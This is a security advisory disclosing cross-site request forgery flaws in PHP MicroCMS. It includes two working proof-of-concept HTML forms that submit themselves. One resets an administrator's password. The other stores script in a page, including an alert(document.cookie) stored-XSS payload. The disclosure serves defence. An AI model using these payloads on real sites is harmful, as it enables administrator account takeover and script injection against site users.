Cross-site Request Forgery (CSRF) Vulnerabilities in PHP MicroCMS

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in PHP MicroCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in PHP MicroCMS
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/index.php?admin=my_account" method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</sc ript>
1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "page_text" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
